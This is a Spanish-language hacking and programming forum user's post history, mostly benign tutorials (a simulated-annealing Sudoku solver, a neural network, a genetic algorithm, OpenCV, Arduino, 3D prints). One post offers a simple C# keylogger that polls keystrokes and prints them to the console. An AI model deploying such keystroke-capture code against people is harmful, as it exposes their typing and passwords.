Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Andr0z

#1
Impresiones 3D / Re: Adorno Pulpo Underc0de 3d
Septiembre 06, 2021, 02:07:56 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola Antrax, listo hermano!! link actualizado  ;)

Buenas Andr0z, estoy intentando editar el archivo .stl en blender pero no me abre, será posible que me guardes el editable en algún otro formato por favor?

gracias.

Listo Amongbytes agregué diferentes formatos y el archivo en Blender
#2
Python / RECOCIDO SIMULADO (sudoku solver en python)
Junio 08, 2021, 12:40:44 AM
RECOCIDO SIMULADO

     El recocido simulado es una técnica de búsqueda aleatoria que sirve para resolver problemas de optimización global, dicho método imita el proceso de recocido de materiales, cuando un metal se enfría y posteriormente alcanza un estado cristalino de menor energía con un tamaño de cristal más grande para reducir los defectos en las estructuras metálicas. El proceso de recocido implica un control cuidadoso de la temperatura y tasa de enfriamiento.


Fig. 1.-Curva de enfriamiento de tratamiento térmico


Los pioneros en la aplicación del recocido simulado en problemas de optimización fueron Kirkpatrick, Gelatt y Vecchi en el año de 1983. Desde ese entonces ha sido estudiado extensamente. A diferencia de los métodos del descenso de gradiente y otros métodos de búsqueda deterministas  cuya principal desventaja es que tienden a estancarse en mínimos locales, la principal ventaja del recocido simulado es la habilidad de evitar el estancamiento en mínimos locales, de hecho, se ha probado que el recocido simulado  convergera al optimo global si existe suficiente aleatoriedad combinada con un enfriamiento lento.

Metafóricamente hablando, el proceso de recocido simulado es equivalente a arrojar pelotas sobre un acantilado, conforme estas bajan, rebotan y pierden energía a tal punto de llegar a una posición sin energía (mínimo local). Si a las pelotas se les permite rebotar suficientes veces con pérdidas de energía bajas, eventualmente estas caerán a posiciones globalmente bajas (mínimo global).


Modelo metropoli

     El fundamento del recocido simulado se basa en el trabajo de Metrópolis (1953) en el campo de la termodinámica estadística.

Básicamente, Metrópolis modeló el proceso de enfriamiento simulando los cambios energéticos en un sistema de partículas conforme decrece la temperatura, hasta que converge a un estado estable (congelado). Las leyes de la termodinámica dicen que a una temperatura t la probabilidad de un incremento energético de magnitud δE se puede aproximar por

𝑃[𝛿𝐸]=𝑒^(−𝛿𝐸/𝑘𝑇)     Ec.1

siendo k una constante física denominada Boltzmann

En el modelo de Metrópolis, se genera una perturbación aleatoria en el sistema y se calculan los cambios de energía resultantes: si hay una caída energética, el cambio se acepta automáticamente; por el contrario, si se produce un incremento energético, el cambio será aceptado con una probabilidad indicada por la anterior expresión (Ec. 1).

Así, el recocido simulado puede decirse que es una versión iterada del modelo de Metropolis considerando k=1, donde el criterio que se toma en cuenta para considerar una solución de mayor costo o no es:

𝑃[𝛿]=𝑒^(−𝛿/𝑇)     Ec.2

Donde:

𝛿: Es la diferencia de costes entre una solución vecina y la solución actual (Se ha tomado 𝛿𝐸 únicamente como 𝛿).
𝑇: Es el parámetro de temperatura.


Algoritmo Básico

   -Partiendo de una solución inicial, el algoritmo se ejecuta en varias iteraciones.
   
   -En cada iteración se genera un vecino aleatorio.
   
   -Movimientos que mejoran la función objetivo se aceptan siempre.

   -Si la solución vecina (candidato) es peor, entonces se selecciona una probabilidad dada (Ec. 2) que depende de la temperatura actual (𝑇) y de cuanto se degrade la función objetivo (𝛿).

   -Conforme avanza el algoritmo, la probabilidad decrece.

   -Se utiliza un parámetro de control llamado temperatura (𝑇), para poder determinar la aceptación de soluciones peores.

   -En cada nivel de temperatura, se explora un cierto numero de soluciones.

   -Cada vez que se ha explorado cierto numero de soluciones por nivel  de temperatura, se decrece la temperatura actual y se itera de nuevo.

   

Fig. 2.-Pseudocódigo de recocido simulado



Implementación del recocido simulado

Para implementar el recocido simulado se han definido 4 puntos los cuales van a depender del tipo de problema que se este resolviendo y la forma en el que este se quiera solucionar, a continuación se muestran dichos puntos:


  • Representación
  • Solución inicial
  • Mecanismo de solución entre transiciones
  • Secuencia de enfriamiento

     1. Representación

Depende del tipo de problema que se este resolviendo. A continuación se presentan algunos casos:

     -Vector ordenado de números enteros. Ejemplo: Problema del Viajante de Comercio (1 8 2 7 3 5 6 4)
     -Vector binario. Ejemplo: Problema de la Mochila (0 1 1 0 1 1 1 0)
     -Vector de Números Reales. Ejemplo: Problemas de Optimización con Parámetros Continuos (1.64 3.56 2.53)

Los casos anteriores son ejemplos de problemas clásicos de optimización. En los siguientes links se da mas información acerca de los problemas anteriormente enunciados.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

     2. Solución inicial

     -Aleatoria: Se puede proponer una solución creada de forma aleatoria. Ej: vector permutado para el caso del problema del viajante de comercio.
     -Solución previa: Se puede obtener una solución de recocido simulado que se solución inicial de otro recocido simulado.
     -Solución obtenida con otras heurísticas: Se puede proponer como solución inicial una solución obtenida por otra heurística, como por ejemplo algoritmos genéticos o algoritmos voraces.

     3. Mecanismo de solución entre transiciones

     -Generación de una nueva solución: Se puede dividir en dos puntos:
      

               
  • Definición del conjunto de vecinos: Es decir, obtener un conjunto soluciones candidatas a partir de la actual. Ej. Si se tiene un vector solución del problema del viajante de comercio So=[1,5,2,6,4,3], un conjunto de dos posibles soluciones candidatas podría ser Sc={[1,2,5,6,4,3],[1,5,3,6,4,2]}, se puede observar que las soluciones candidatas han sido obtenidas simplemente aplicando un intercambio entre dos elementos de la solución inicial del problema.

  •            
  • Selección de un elemento de dicho conjunto: Se selecciona un elemento del conjunto de soluciones candidatas.

     -Cálculo de la diferencia de costos entre la solución actual y la vecina: Se obtiene la diferencia de costos entre la solución candidata seleccionada y la actual. Cabe destacar que el costo depende del problema que se este resolviendo, en el problema del viajante, el costo correspondería a la distancia entre ciudades, entre mas distancia mayor coste.

     -Aplicación del criterio de aceptación: Si la solución candidata es mejor (menor coste), se considera como la solución actual para la siguiente iteración, en el caso contrario, si la solución candidata es peor, se aplica el criterio dado por la ecuación 2, es decir, si generando un numero aleatorio uniforme entre 0 y 1 resulta ser menor que la probabilidad obtenida por la ecuación, se considera como solución actual a la candidata.

     4. Secuencia de enfriamiento

     -Valor inicial de temperatura: El valor de temperatura puede ser arbitrario, es decir, se pueden seleccionar temperaturas iniciales altas o bajas sin embargo una estrategia de selección de temperatura inicial puede ser el coste de la solución actual multiplicado por un parámetro entre 0 y 1 (usualmente se selecciona 0.4).

     -Mecanismo de enfriamiento: Existen varios mecanismos de enfriamiento:


  • Enfriamiento basado en sucesivas temperaturas descendentes fijadas por el usuario.
  • Lineal (i denota iteración) 𝑇=𝑇−𝛽, 𝑇_𝑖=𝑇_0−𝑖×𝛽
  • Geométrica o exponencial 𝛼𝜖[0.8,0.99]   𝑇=𝛼𝑇
  • Logaritmica o de Boltzman: Lenta pero existe prueba de convergencia global 𝑇(𝑡)=𝑇_0/ln⁡(1+𝑡)  t=1,2,---n
  • Cauchy: 𝑇_𝑖=𝑇_0/(1+𝑖)
  • Cauchy modificado utilizando balanceo o número fijo de iteraciones: 𝑇_(𝑖+1)=𝑇_𝑖/(1+𝛽𝑇_𝑖 ), donde 𝛽=𝑇_0−𝑇_𝐹/(𝐿−1) 𝑇_0 𝑇_𝐹

     -Criterio de parada: En teoría, el algoritmo debería finalizar cuando T=0. En la práctica, se para:


  • Cuando T alcanza o está por debajo de un valor final 𝑇_𝑓 (0.01) , fijado previamente, o después de un número fijo de iteraciones.
  • En ocasiones suele ser difícil dar valor de 𝑇_𝑓, se suele usar un número fijo de iteraciones, una buena opción es parar cuando no se haya aceptado ningún vecino de los L(T) generados en la iteración actual (num_éxitos=0). En ese caso, es muy probable que el algoritmo se haya estancado y no vaya a mejorar la solución obtenida.


Fig. 3.-Pseudocódigo

A continuación se presenta la aplicación del recocido simulado para la solución de Sudokus. Nota: el código no ha sido optimizado, simplemente se ha realizado con el fin de aplicar dicha técnica:

Código: python

import numpy as np
import statistics
class Sudoku_Solver:
   
    def __init__(self,So,To,alpha,L,Tf):
        self.So=So
        self.c_index=np.array(np.where(So==0))
        self.S=np.copy(self.So)
        self.To=To
        self.alpha=alpha
        self.L=L
        self.Tf=Tf
        self.T=To
   
    #Imprimir en consola el Sudoku
    def PrintSudoku(self,sudoku):
        print("\n")
        for i in range(len(sudoku)):
            line = ""
            if i == 3 or i == 6:
                print("-----------------------\n-----------------------")
            for j in range(len(sudoku[i])):
                if j == 3 or j == 6:
                    line += "|| "
                line += str(sudoku[i,j])+" "
            print(line)
           
    # Rellenar las casillas vacias del Sudoku       
    def fill_So(self):
        for k in range(3):
            for l in range(3):
                Aux=np.zeros((3,3))
                V=np.random.permutation(9)+1
                for i in range(0,3):
                    for j in range(0,3):
                        Aux[i][j]=self.S[i+k*3][j+l*3]
                V=np.setdiff1d(V,Aux.reshape(9,))
                for i in range(len(V)):
                    e_index=np.where(Aux==0)
                    val=np.random.randint(0,len(e_index[1]))
                    Aux[e_index[0][val]][e_index[1][val]]=V[i]
                for i in range(0,3):
                    for j in range(3):
                        self.S[i+k*3][j+l*3]=Aux[i][j]
        return self.S
   
    #Calcular el numero total de errores, en este caso la cantidad de digitos que se repiten por columna y fila
    def TotalError(self,sudoku):
        NErrors = 0
        for i in range (0,9):
            NErrors += self.PartialError(i ,i ,sudoku)
        return(NErrors)

    #Calcular unicamente el error por fila y columna tomando como pivote a la casilla la cual se encuentre en dicha fila y columna
    def PartialError(self,row, column, sudoku):
        nErrors = (9 - len(np.unique(sudoku[:,column]))) + (9 - len(np.unique(sudoku[row,:])))
        return(nErrors)
   
    #Aplicar swap entre los digitos de dos casillas distintas
    def Swap(self,S):
        Li=np.random.randint(0,3)
        Lj=np.random.randint(0,3)
        self.idx_iA=np.random.randint(Li*3,(Li+1)*3)
        self.idx_jA=np.random.randint(Lj*3,(Lj+1)*3)
        self.idx_iB=np.random.randint(Li*3,(Li+1)*3)
        self.idx_jB=np.random.randint(Lj*3,(Lj+1)*3)
        while (self.So[self.idx_iA][self.idx_jA]!=0) or (self.So[self.idx_iB][self.idx_jB]!=0):
            self.idx_iA=np.random.randint(Li*3,(Li+1)*3)
            self.idx_jA=np.random.randint(Lj*3,(Lj+1)*3)
            self.idx_iB=np.random.randint(Li*3,(Li+1)*3)
            self.idx_jB=np.random.randint(Lj*3,(Lj+1)*3)
        temp=S[self.idx_iA][self.idx_jA]
        S[self.idx_iA][self.idx_jA]=S[self.idx_iB][self.idx_jB]
        S[self.idx_iB][self.idx_jB]=temp
        return S
   
    #Aplicación del recocido simulado
    def sim_annealing(self):
         S=self.fill_So()
         best=np.copy(S)
         puntuacion=self.TotalError(best)
         while (self.TotalError(best)):
             Ts = []
             auxSudoku = best
             for i in range(1,10):
                auxSudoku = self.Swap(best)
                Ts.append(self.TotalError(auxSudoku))
             t=(statistics.pstdev(Ts))
             regulizer=0
             self.T=1000
             while self.T>self.Tf:
                 puntuacion_anterior=puntuacion
                 for i in range(self.L):
                     Scand=self.Swap(np.copy(S))
                     EScand=self.PartialError(self.idx_iA,self.idx_jA,Scand)+self.PartialError(self.idx_iB,self.idx_jB,Scand)
                     ES=self.PartialError(self.idx_iA,self.idx_jA,S)+self.PartialError(self.idx_iB,self.idx_jB,S)
                     delta=EScand-ES
                     if np.random.rand()<np.exp(-delta/t) or (delta<0):
                         S=Scand
                     puntuacion+=delta
                 t*=self.alpha
                 self.T=self.alpha*self.T
                 if puntuacion >= puntuacion_anterior: regulizer += 1
                 else: regulizer = 0
                 if (regulizer > 50): t += 2
                 if self.TotalError(S)<self.TotalError(best):
                     best=np.copy(S)
                     print('Best: '+str(self.TotalError(best)))
                 if self.TotalError(best)==0:
                     print(self.PrintSudoku(best))
                     break
                 
if __name__=='__main__':
    So=np.array([[0,0,0,0,9,0,1,0,5],
                 [0,0,8,0,5,4,3,2,7],
                 [0,0,5,0,1,0,0,8,6],
                 [0,8,3,7,0,6,0,0,9],
                 [5,0,6,0,3,1,0,0,0],
                 [1,2,0,0,8,0,4,0,0],
                 [6,3,1,0,0,9,0,5,2],
                 [2,7,0,5,0,0,0,0,0],
                 [8,0,0,0,7,0,0,0,0]])
   
    To=1000
    alpha=0.9
    L=50
    Tf=0.01
    sudoku_solver=Sudoku_Solver(So,To,alpha,L,Tf)
    sudoku_solver.sim_annealing()                   



Al correr el código se obtiene:


Fig. 4.-Solución Sudoku

Que es la solución al sudoku introducido.


REFERENCIAS

[1] Yang, Xin-She, (2010). "Engineering optimization : an introduction with metaheuristic applications". Cambridge, United Kingdom. WILEY (347 pgs.)

Otras referencias:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





#3
Python / Perceptrón Multicapa
Febrero 01, 2021, 11:08:48 PM
Código: python
import numpy as np
from random import random


class MLP:
   
    #Contrucción de la arquitectura principal de la red
    def __init__(self, num_inputs=2, hidden_layers=[3,2], num_outputs=1):
        self.num_inputs=num_inputs
        self.hidden_layers=hidden_layers
        self.num_outputs=num_outputs
       
        layers=[num_inputs]+hidden_layers+[num_outputs]
       
        self.weights=weights=[np.random.rand(layers[i],layers[i+1]) for i in range(len(layers)-1)]
        self.activations=[np.zeros(layers[i]) for i in range(len(layers))]
        self.derivatives=[np.zeros((layers[i],layers[i+1])) for i in range(len(layers)-1)]
        self.umbral=[np.random.rand(layers[i]) for i in range(1,len(layers))]
        self.delta=[np.zeros(layers[i]) for i in range(1,len(layers))]
       
    #Aplicación del forward propagation
    def forward_propagation(self, inputs):
        activations=inputs
        self.activations[0]=inputs
       
        for i,w in enumerate(self.weights):
            net_inputs=np.dot(activations,w)+self.umbral[i]
            activations=self._sigmoid(net_inputs)
            self.activations[i+1]=activations
        return activations
   
    #Aplicación del back propagation
    def back_propagate(self, error, verbose=False):
        for i in reversed(range(len(self.derivatives))):
            activations=self.activations[i+1]
            delta=error*self._sigmoid_derivative(activations)
            self.delta[i]=delta   
            delta_reshaped=delta.reshape(delta.shape[0],-1).T
            current_activations=self.activations[i]
            current_activations_reshaped=current_activations.reshape(current_activations.shape[0],-1)
            self.derivatives[i]=np.dot(current_activations_reshaped, delta_reshaped)
            error=np.dot(delta, self.weights[i].T)
            if verbose:
                print("The derivatives for the weights W{}: {}, biases: {}".format(i,self.derivatives[i],self.delta[i]))
        return error

    #Actualización de pesos y umbrales mediante el empleo de descenso por gradiente
    def gradient_descent(self, learning_rate):
        for i in range(len(self.weights)):
            self.weights[i]+=self.derivatives[i]*learning_rate
            self.umbral[i]+=self.delta[i]*learning_rate
           
    #Entrenamiento de la red neuronal
    def train(self, inputs, targets, epochs,learning_rate):
        for i in range(epochs):
            sum_error=0
            for (input, target) in zip(inputs, targets):
                output=self.forward_propagation(input)
                error=target-output
                self.back_propagate(error)
                self.gradient_descent(learning_rate)
                sum_error+=self._mse(target, output)
            print("The error is: {},  epoch: {}".format(sum_error/len(inputs), i+1))
   
    #Función de error cuadrático medio
    def _mse(self, target, output):
        return np.average((target-output)**2)
       
    #Función sigmoide   
    def _sigmoid(self, x):
        return 1/(1+np.exp(-x))
   
    #Función sigmoide prima
    def _sigmoid_derivative(self, x):
        return x*(1-x)
           
if __name__=="__main__":
    inputs= np.array([[random()/2 for _ in range(2)] for _ in range(500)])
    targets=np.array([[i[0]+i[1]] for i in inputs])
    mlp=MLP(2,[3,2,3], 1)
    mlp.train(inputs, targets, 500, 2.5)
    input=np.array([.1, 0.3])
    target=np.array([input[0]+input[1]])
    output=mlp.forward_propagation(input)
    print("The prediction is: {}, the real value is: {}".format(output[0],target[0]))




Resultado para la predicción de una entrada, donde la red tiene que predecir el valor resultante de la suma de dos números (0<R<0.5)


Para ver un poco mas explicado acerca del algoritmo, comparto una lista de youtube donde explican muy claro el desarrollo matemático del perceptrón multicapa:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Código simplificado para calcular factorial de un numero

Código: csharp

using System;
namespace Factorial
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Ingresa tu numero");
            int num=int.Parse(Console.ReadLine());
            Console.WriteLine("-----------------------------------------------------------------------------------------------------------");
            Console.WriteLine(Factorial(num));
            Console.ReadKey();
           
            double Factorial(double num){
                while (num>1){
                    return num*=Factorial(--num);
                }return num;
            }
           
        }
    }
}
#5
C# - VB.NET / Keylogger C# Simple
Mayo 30, 2020, 05:47:22 PM
Keylogger en C#


Código: csharp

using System;

//Uso de Threads
using System.Threading;

//Uso de la libreria para importacion de DLL
using System.Runtime.InteropServices;


namespace Keylogger
{
    class Program
    {
        //Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int key);

        //Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
        int contadorEspacio = 0;

        //String de almacenaje
        public string caracteresTecleados = "";


        //Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
        public void esperarTecla()
        {
            int tecla=0;
            while(true)
            {
                for(tecla=8;tecla<128;tecla++)
                {
                    if (GetAsyncKeyState(tecla)==-32767)
                    {
                        this.mostrarTecla(tecla);
                    }
                }
            }
           
        }


        //Recupera la tecla virual presionada y la muestra en consola
        public void mostrarTecla(int keyCode)
        {
            switch(keyCode)
            {
                case 8:
                    if(!string.IsNullOrEmpty(this.caracteresTecleados))
                    {
                        this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
                    }
                    break;
                case 9:
                    this.caracteresTecleados = "    ";
                    break;
                case 13:
                    this.caracteresTecleados += " [ENTER] ";
                    break;
                case 16:
                    this.caracteresTecleados += " [SHIFT] ";
                    break;
                case 20:
                    this.caracteresTecleados += " [B_MAYUS] ";
                    break;
                case 37:
                    this.caracteresTecleados += " [<] ";
                    break;
                case 38:
                    this.caracteresTecleados += " [^] ";
                    break;
                case 39:
                    this.caracteresTecleados += " [>] ";
                    break;
                case 40:
                    this.caracteresTecleados += " [v] ";
                    break;
                default:
                    this.caracteresTecleados += (char)keyCode;
                    break;
            }
            contadorEspacio++;
            if(this.caracteresTecleados.Length >=1)
            {
                if (contadorEspacio== 120)
                {
                    Console.WriteLine();
                    contadorEspacio = 0;
                }
                Console.Write(this.caracteresTecleados);
                this.caracteresTecleados = "";
            }
        }

        //Uso de threads para la ejecución del método "esperarTecla"
        public void threadEjecucion()
        {
            new Thread(new ThreadStart(esperarTecla)).Start();
        }

        public static void Main()
        {
            Program logging = new Program();
            logging.threadEjecucion();
        }
    }
}
#6
Impresiones 3D / Soporte para audífonos
Mayo 25, 2020, 08:11:27 PM
SOPORTE PARA AUDÍFONOS 3D.

Soporte para audífonos ideal para impresión 3d.
Nota: La apertuta para colocar el soporte es de 1.7cm






Link de descarga (.stl) a Mega:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


#7
Arduino - Raspberry PI / Arduino como PLC
Mayo 21, 2020, 04:19:27 PM
En este aporte les mostrare como programar un Arduino como si se tratara de un PLC (programación en escalera) usando un compilador demasiado bueno para ser abierto, se trata de LD micro.

Empezaremos viendo como se enciende un diodo LED mediante un "Push Button",(los recursos para el tutorial se encuentran al inferior del aporte). Primero abrimos LDmicro:

Img1. LD micro

Nota:El borde Izquierdo significa nuestra fuente, mientras el borde derecho nuestra tierra.

Después vamos a "Instructions" y dentro de esa pestaña seleccionamos "Insert Contacts"(short cut 'C'). Nota: El contacto se insertara en la posición de la línea en la que estemos, finalmente nuestro contacto insertado se vería como sigue:

Img2. Contactos LDmicro

Ahora, el contacto insertado funcionara como nuestro botón pero ahora necesitamos una salida para activar el LED, para hacer esto vamos a "Instructions" y ya dentro, seleccionamos "insert Coil"(short cut 'L'):

Img3. Salida LDmicro

Ahora queda configurar como entradas y salidas, para esto, damos doble "click" a cada elemento y configuramos como se muestra a continuación:

   
Img3,4. configuración de contacto y salida

Por default el "Coil" lo entiende ldmicro como salida, por tal motivo no permite configurarlo como pin de entrada.

Una vez configurados los elementos, necesitamos preparar el programa para compilarlo, para esto vamos a "Settings"-->"Microcontrollers" y seleccionamos el Atmel AVR Atmega 324-40PDIP (Arduino UNO), ya hemos seleccionado nuestro microcontrolador, ahora necesitamos configurar nuestros elementos con las entradas físicas de nuestro Arduino, que en este caso es el UNO. la configuración física se ve al inferior del programa:

Img6. Configuración física

En base a la imagen anterior podemos ver en la parte resaltado en blanco del programa,  información referente a la configuración física de nuestros elementos, los dos de tipo digital, uno de entrada y otro de salida, a nosotros lo que nos interesa es configurar el pin con el cual se va a configurar, para saber con cual pin configurar cada elemento tomaremos de referencia la siguiente imagen:

Img7. Pinout Atmega 324-40


Si queremos el pin 12 del Arduino como entrada y el pin 13 como salida tendríamos que configurar el elemento del "push Button " con el PB4 del pinout y el LED con el PB5, para hacerlo le damos doble "click" a cada línea del elemento y asignamos un pin físico, finalmente se tendría que ver como:

Img8. Asignación de pines

Ya terminamos de programar correctamente nuestro Arduino como PLC, si se desea antes de compilar se puede simular en LDmicro en "Simulate"-->"Simulate Mode" y luego lo corremos en tiempo real "Start Rel-Time Simulation". para cargar el programa, le damos en compile para generar el archivo .hex que se cargara al Arduino. para cargar el archivo .hex, necesitaremos XLoader:

Img9. XLoader

Una vez abierto XLoader, abrimos el archivo .hex compilado, seleccionamos el tipo de Arduino así como el puerto en el que esta conectado el arduino y finalmente le damos en "Upload", y esperamos a que cargue. Y listo hemos programado el arduino como PLC.

La conexión se muestra a continuación:

Img10. Conexión en proteus

Enlace de Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Recursos Adicionales:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta







#8
Python / Cliente-Servidor entre Python-Unity(C#)
Mayo 08, 2020, 05:12:43 PM
Conexión cliente servidor entre Python usando OpenCV y unity 3d

El proyecto consiste en enviar datos cliente-servidor entre python 3 y Unity 2019, los datos enviados desde python se obtendrán a partir de una aplicación de color tracker (detector y posicionamiento de color desde la cámara) creada a partir de  la librería de visión computacional OpenCV desde python, estos datos serán tomados por Unity para después asignar los valores obtenidos a un objeto virtual el cual se movera según los valores leídos.




Para revisar el proyecto link de descarga:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Nota: para correr el proyecto, vamos a la carpeta descargada y ejecutamos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, después se va a la carpeta New Unity Project--->Assets y en esa carpeta click en Python2Unity.unity (se debe contar con unity instalado en el sistema, el proyecto se ejecutó en un sistema operativo Windows 10)

#9
Impresiones 3D / Re:Adorno Pulpo Underc0de 3d
Abril 21, 2020, 05:28:19 PM
Hola Antrax, listo hermano!! link actualizado  ;)
#10
Case para Arduino Uno (impresión 3D)







Descarga los archivos stl

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#11
OpenCV es una de las bibliotecas más famosas de visión artificial que se ha utilizado en gran cantidad de aplicaciones, por mencionar algunas de ellas:

-Reconocimiento facial
-Robótica móvil
-Reconocimiento de objetos
-Segmentación
-Interacción persona-computadora

Entre otras muchas mas aplicaciones.

En está ocasión el tema se tratará acerca del uso de histogramas para la visualización de la descomposición de color de una imagen de 8 bits a sus canales BGR o RGB.

Primero importaremos las respectivas librerías que se utilizaran para la aplicación

Código: python

import cv2 #importamos OpenCV
import numpy as np
from matplotlib import pyplot as plt
 

Una vez importadas las librerías correspondientes procedemos a usar la función imread() para cargar una imagen, el código sería:

Código: python

imagen=cv2.imread(r"interior.png")
 

Luego se separa con la función split  la matriz de vectores de nuestro elemento:

Código: python

b,g,r=cv2.split(imagen)


Y se visualizan los canales B,G,R y la imagen original con la función imshow:

Código: python

cv2.imshow("imagen", imagen)
cv2.imshow("b", b)
cv2.imshow("g", g)
cv2.imshow("r", r)


Nota:Las imágenes se mostrarán en escala de grises debido a que los vectores (B,G,R) se separan en escalares (por pixel), por tanto el sistema los considera como negro (valor cero) o blanco(valor 255), lo que quiere decir que si por ejemplo en la imagen "b" se encuentra con una tonalidad mas blanca en algún conjunto de pixeles, dará a entender que el canal RGB esta compuesto por ese color en mayor parte, es decir el color del pixel original  se vería como (230,G,R)

Finalmente, para graficar los histogramas se llama la función hist de pyplot:

Código: python

plt.hist(b.ravel(),256,[0,256])
plt.hist(g.ravel(),256,[0,256])
plt.hist(r.ravel(),256,[0,256])
plt.show()


Los histogramas nos mostrarán el numero de pixeles que hay correspondientes a los valores de  0 a 255 por cada canal. El código completo sería:

Código: python

import cv2 #importamos OpenCV
import numpy as np
from matplotlib import pyplot as plt
#lectura de la imagen
imagen=cv2.imread(r"interior.png")

# generacion de los canales blue, green y red (bgr) mediante la descoposicion de la imagen original con la funcion split
b,g,r=cv2.split(imagen)
#print(image)
#print(image[0][0])
# mostrar las imagenes repsectivas a la imagen y los canales
cv2.imshow("imagen", imagen)
cv2.imshow("b", b)
cv2.imshow("g", g)
cv2.imshow("r", r)

# graficar histogramas
plt.hist(b.ravel(),256,[0,256])
plt.hist(g.ravel(),256,[0,256])
plt.hist(r.ravel(),256,[0,256])
plt.show()

# esperar a  presionar alguna tecla para continuar
cv2.waitKey(0)

# destruye todas las ventanas en proceso
cv2.destroyAllWindows()


Si corremos nuestro código se vería como sigue:




#12
C# - VB.NET / Re:Algoritmo Genético C#
Abril 06, 2020, 05:43:38 PM
Hola Bartz!!, por nada hermano.
La información vendrá en la edición próxima a salir, es complementario a la revista  ;)
#13
C# - VB.NET / Algoritmo Genético C#
Abril 05, 2020, 02:06:23 PM
Ejemplo básico de un algoritmo genético en C#

Nota: puedes experimentar variando la cantidad de individuos y tasa de mutación y ver como esta afecta a la convergencia y tiempo de solución

Código: csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Al_genetico
{
    class Program
    {
        /*Idea original DanielShiffman, The nature of code*/
        public static string objetivo;
     
        static void Main(string[] args)
        {
            objetivo = "Hola Mundo :D";
            int numero_ind = 100; //Se puede experimentar con la variacion de numero de individuos y tasa de mutacion
            float tasa_mutacion = 0.02f;
            Poblacion poblacion = new Poblacion(tasa_mutacion,numero_ind,objetivo);
            while (true)
            {

                Console.WriteLine(" Generacion: " + poblacion.generacion + " | Mejor Individuo= " + poblacion.Mejor_individuo() + " | Promedio de aptitud por generación= " + poblacion.Promedio());
                poblacion.Seleccion();
                poblacion.Generacion();
                if (poblacion.Mejor_individuo() == objetivo) break;
                poblacion.Calcular_aptitud();

            }
            Console.ReadKey();

        }

        //Generador de numeros aleatorios enteros entre n1 y n2-1
        public static int random_entero(int n1,int n2)
        {
            Guid guid = Guid.NewGuid();
            string justNumbers = new String(guid.ToString().Where(Char.IsDigit).ToArray());
            int seed = int.Parse(justNumbers.Substring(0, 4));
            Random random= new Random(seed);
            return random.Next(n1, n2);   
        }

        //Generador de numeros aleatorios decimales entre  0 y 1
        public static double random_decimal()
        {
            Guid guid = Guid.NewGuid();
            string justNumbers = new String(guid.ToString().Where(Char.IsDigit).ToArray());
            int seed = int.Parse(justNumbers.Substring(0, 4));
            Random random = new Random(seed);
            return random.NextDouble();
        }
    }
}



Clase ADN.cs

Código: csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Al_genetico
{
    class ADN
    {
        public char[] genes;
        public float aptitud;

        //Constructor clase ADN
        public ADN(int num)
        {
            genes = new char[num];
            for (int i = 0; i < genes.Length; i++) genes[i] = Convert.ToChar(Program.random_entero(32, 129));
        }

        //Convertimos nuestra cadena de caracteres a string
        public string ConseguirADN()
        {
            return new string(genes);
        }

        //Calculamos la aptitud comparando elemento a elemento el string del ADN con el objetivo
        public float Aptitud(string objetivo)
        {
            int puntos = 0;
            for (int i = 0; i < genes.Length; i++) if (genes[i] == objetivo[i]) puntos++;
            aptitud = (float)puntos / (float)objetivo.Length;
            return aptitud;
        }

        //Se mezcla la la informacion entre dos ADN  para crear un hijo
        public ADN Reproduccion(ADN padre)
        {
            int punto_cruce = Program.random_entero(0, genes.Length);
            ADN hijo = new ADN(genes.Length);
            for (int i=0;i<genes.Length;i++)
            {
                if (i < punto_cruce) hijo.genes[i] = genes[i];
                else hijo.genes[i] = padre.genes[i];
            }
            return hijo;
        }

        //Se muta(modifica) el elemento del ADN si el numero obtenido aleatoriamente es menor que la tasa de mutacion
        public void Mutacion(float tasa_mutacion)
        {
            for (int i = 0;i< genes.Length; i++) if (Program.random_decimal() < tasa_mutacion) genes[i] = Convert.ToChar(Program.random_entero(32,129));
        }

    }
}


Clase Poblacion.cs

Código: csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Al_genetico
{
    class Poblacion
    {
        public int generacion=1;
        public ADN[] poblacion;
        List<ADN> contenedor;
        float tasa_mutacion;
        string objetivo;

        //Constructor de la población
        public Poblacion(float tm, int num,string objetivo)
        {
            this.objetivo = objetivo;
            tasa_mutacion = tm;
            poblacion = new ADN[num];
            for (int i = 0; i < poblacion.Length; i++)  poblacion[i] = new ADN(objetivo.Length);
            contenedor = new List<ADN>();
            Calcular_aptitud();
        }

        //Se calcula la aptitud de cada uno de los individuos de la poblacion. La mayor aptitud es de 1
        public void Calcular_aptitud()
        {
            for (int i = 0; i < poblacion.Length; i++) poblacion[i].Aptitud(objetivo);
        }

        //Se le asigna al contenedor cuantas veces sea un individuo en proporcion a su aptitud. Mayor aptitud, mayor veces estara ese individuo en nuestro contenedor
        public void Seleccion()
        {
            float val_Max = 0;
            contenedor.Clear();
            for (int i = 0; i < poblacion.Length; i++) if (poblacion[i].aptitud > val_Max)  val_Max = poblacion[i].aptitud;
            for (int i = 0; i < poblacion.Length; i++)
            {
                float map_aptitud = Map(poblacion[i].aptitud, 0, val_Max, 0, 1);
                int numero = (int)(map_aptitud)*100;
                for (int j = 0; j < numero; j++) contenedor.Add(poblacion[i]);
            }     
        }

